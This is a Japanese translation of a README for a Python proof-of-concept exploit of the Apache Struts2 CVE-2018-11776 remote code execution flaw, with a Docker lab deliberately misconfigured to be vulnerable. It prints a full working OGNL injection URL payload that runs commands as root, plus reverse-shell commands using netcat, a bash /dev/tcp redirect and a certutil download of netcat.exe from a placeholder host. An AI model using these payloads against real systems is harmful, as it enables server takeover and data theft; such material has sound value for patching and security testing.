hook-s3c/cve-2018-11776-python-pocCVE-2018-11776用の動作するPythonテストとPoC、Dockerラボを含む
hook-s3c (github.com/hook-s3c), @hook_s3c (Twitter上)
CVE-2018-11776用の動作するPythonテストと実証コード。元々は以下に掲載: https://github.com/hook-s3c/CVE-2018-11776-Python-PoC
SemmleのMan Yue Mo氏が、リクエストのURLパスにエンコードされたペイロードで送信されるStruts2 RCE脆弱性を開示しました。
影響を受けるバージョンは2.3から2.3.34、および2.5から2.5.16です。
デフォルト構成では脆弱ではありませんが、設定を誤ると...アウトです。
エクスプロイトはcve-2017-5638用に構築されたDockerコンテナ(struts2-showcase-2.3.12)で問題なく動作します。
$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
以下の設定を追加します。
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
そして以下の設定も追加します。
<struts>
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
Tomcatおよび/またはコンテナを再起動します。
$ /usr/local/tomcat/bin/shutdown.sh
リダイレクトと評価が発生するかどうかを確認するためにURLをテストします。
http://0.0.0.0:32771/${2+2}/help.action > http://0.0.0.0:32771/4/date.action
テストスクリプトを使用します。
$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action
testing the url for exploit; http://0.0.0.0:32771/${12612+24867}/help.action
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable!
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id'
[Execute]: https://raw.githubusercontent.com/hook-s3c/cve-2018-11776-python-poc/HEAD/id
[Url]: http://0.0.0.0:32771/$%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D=true).(%23cmd=%27id%27).(%23iswin=(@java.lang.System@getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds=(%23iswin%3F%7B%27cmd.exe%27,%27c%27,%23cmd%7D:%7B%27bash%27,%27-c%27,%23cmd%7D)).(%23p=new%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process=%23p.start()).(%23ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(%23process.getInputStream(),%23ros)).(%23ros.flush())%7D/help.action
uid=0(root) gid=0(root) groups=0(root)
リバースシェルを受け入れるためにマシンを準備します。
$ netcat -lvp 31337
スクリプトを実行します。
# you'll want to install netcat
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y'
# now pop that shell
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337'
32771をお使いの公開コンテナポートに置き換えてください。
$ netcat -lvp 31337
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 "/bin/bash -i >& /dev/tcp/172.17.0.1/31337 0>&1"
# grab netcat binary
# https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'certutil.exe -urlcache -split -f "https://yourhostingservice.1337/files/netcat.exe" nc.exe'
# execute
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'nc.exe 172.17.0.1 31337 –e cmd.exe'
フォワードスラッシュ(/)を含むすべてのリクエストは、Tomcatがこれらを積極的にブロックするため失敗します。回避策として、上記の例のように /bin/bash の代わりに環境変数 $SHELL を使用するなどの方法があります。
これを踏まえると、Windowsの /c フラグは期待通りに動作しません。Dockerコンテナでのみテストしました。
@Menin_TheMiddle氏に感謝します。フォワードスラッシュの問題が解決できることを示してくれました。現在コードはフォワードスラッシュをサポートしており、netcatなしのbash経由のリバースシェルも可能になりました。また、Windowsインスタンスもサポートするようになりました（未テスト）。
Strutsをパッチするか、単に使用しないでください。
もし侵害が発生し、顧客詳細が漏洩した場合、いつでもなりすまし製品を売ることができますね！（誰のことかわかっていますよ、最低な連中）
感謝します;
vap0rsquadに叫べ!!! sH3llG0d - Willow - D@3M0¢π1 - n4t4s - 23pieces